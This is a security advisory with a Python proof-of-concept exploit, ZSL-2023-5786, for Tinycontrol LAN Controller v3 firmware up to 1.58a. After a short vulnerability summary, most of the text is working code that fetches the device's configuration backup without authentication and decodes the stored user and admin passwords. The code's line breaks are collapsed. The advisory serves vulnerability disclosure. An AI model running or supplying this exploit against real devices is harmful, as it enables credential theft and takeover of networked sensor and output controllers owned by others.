Headline
Tinycontrol LAN Controller 3 Remote Credential Extraction
Tinycontrol LAN Controller version 3 suffers from an issue where an unauthenticated attacker can retrieve the controller’s configuration backup file and extract sensitive information that can allow him/her/them to bypass security controls and penetrate the system in its entirety.
#!/usr/bin/env python### Tinycontrol LAN Controller v3 (LK3) Remote Credentials Extraction PoC### Vendor: Tinycontrol# Product web page: https://www.tinycontrol.pl# Affected version: <=1.58a, HW 3.8## Summary: Lan Controller is a very universal# device that allows you to connect many different# sensors and remotely view their readings and# remotely control various types of outputs.# It is also possible to combine both functions# into an automatic if -> this with a calendar# when -> then. The device provides a user interface# in the form of a web page. The website presents# readings of various types of sensors: temperature,# humidity, pressure, voltage, current. It also# allows you to configure the device, incl. event# setting and controlling up to 10 outputs. Thanks# to the support of many protocols, it is possible# to operate from smartphones, collect and observ# the results on the server, as well as cooperation# with other I/O systems based on TCP/IP and Modbus.## Desc: An unauthenticated attacker can retrieve the# controller's configuration backup file and extract# sensitive information that can allow him/her/them# to bypass security controls and penetrate the system# in its entirety.## Tested on: lwIP### Vulnerability discovered by Gjoko 'LiquidWorm' Krstic# @zeroscience### Advisory ID: ZSL-2023-5786# Advisory ID: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5786.php### 18.08.2023##import subprocessimport requestsimport base64import sysbinb = "lk3_settings.bin"outf = "lk3_settings.enc"bpatt = "0upassword"epatt = "pool.ntp.org"startf = Falseendf = Falseextral = []print(""" O`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'O | | | Tinycontrol LK3 1.58 Settings DL | | ZSL-2023-5786 | | 2023 (c) Zero Science Lab | | | |`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'| | |""")if len(sys.argv) != 2: print("[?] Vaka: python {} ipaddr:port".format(sys.argv[0])) exit(-0)else: rhost=sys.argv[1] if not "http" in rhost: rhost="http://{}".format(rhost)try: resp = requests.get(rhost + "/" + binb) if resp.status_code == 200: with open(outf, 'wb') as f: f.write(resp.content) print(f"[*] Got data as {outf}") else: print(f"[!] Backup failed. Status code: {resp.status_code}")except Exception as e: print("[!] Error:", str(e)) exit(-1)binf = outfsout = subprocess.check_output(["strings", binf], universal_newlines = True)linea = sout.split("\n")for thricer in linea: if bpatt in thricer: startf = True elif epatt in thricer: endf = True elif startf and not endf: extral.append(thricer)if len(extral) >= 4: userl = extral[1].strip() adminl = extral[3].strip() try: decuser = base64.b64decode(userl).decode("utf-8") decadmin = base64.b64decode(adminl).decode("utf-8") print("[+] User password:", decuser) print("[+] Admin password:", decadmin) except Exception as e: print("[!] Error decoding:", str(e))else: print("[!] Regex failed.") exit(-2)